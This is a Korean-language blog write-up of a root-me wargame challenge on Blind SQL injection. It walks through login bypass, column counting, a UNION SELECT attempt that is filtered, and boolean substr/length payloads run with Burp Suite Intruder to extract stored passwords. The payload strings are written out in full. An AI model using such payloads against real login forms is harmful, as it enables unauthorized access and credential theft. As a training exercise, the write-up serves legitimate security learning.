Blind SQL Injection문제입니다.
로그인 화면이 나오네요. 가장 기본적인 test/test, admin/admin 등으로 계정 유추를 시도해보겠습니다.
위 사진과 같은 에러가 출력됩니다. ID가 맞아도 위와 같은 에러가 출력되기 때문에 어떤 계정이 존재하고 있는지 알 수가 없습니다...
저는 다음과 같은 순서로 문제 풀이를 진행하였습니다.
1. 'or 1=1--/1 << 가장 기본적인 sql injection 구문 삽입 시도
가장 첫번째 컬럼에 user1 계정이 있다는 것을 알 수 있었습니다.
2. user1'order by 1--/1 << order by 구문으로 컬럼 갯수 확인
order by 3-- 구문을 삽입하였을 때 에러가 출력되므로 컬럼은 2개인 것을 알 수 있습니다.
3. user1'union select 1, sql from sqlite_master-- << union select 구문을 이용하여 sql 필드 조회를 시도하였지만,
injection 구문 탐지로 인해 union select 구문을 사용할 수 없습니다.
에러 구문을 이용한 Blind SQL injection 공격을 이용해야 한다는 사실이 명확해졌군요.
4. user1'and+(select+length(password)+from+users)=11-- << user1 계정의 패스워드 길이 및
user1'and+substr((select+password+from+users limit 0,1),1,1)='D'-- << 정보 파악
user1의 패스워드 길이가 11자인 것을 알아낸 후 Burpsuite의 Intruder 기능을 이용해 앞에서 부터 한 글자씩 대입을 시도해보았더니 user1의 패스워드가 출력되었습니다.
저는 DsD6z756f$!가 답이라고 생각했으나 아니었죠... 관리자의 패스워드를 구하는 문제였더라고요ㅜㅜ
5. user1'and+substr((select+password+from+users limit 1,1),1,1)='A'-- << 두번째 필드, 즉 admin의 패스워드 추출
admin의 패스워드 8자리가 추출되었습니다!!!
'Study > Wargame' 카테고리의 다른 글
[root-me] LFI - Double Encoding (1) | 2019.01.17 |
---|---|
[root-me] PHP filters (0) | 2019.01.16 |
root-me>>SQL injection - numeric (0) | 2018.05.01 |
root-me >> Command injection (0) | 2018.04.24 |
root-me >> HTTP Header (0) | 2018.02.23 |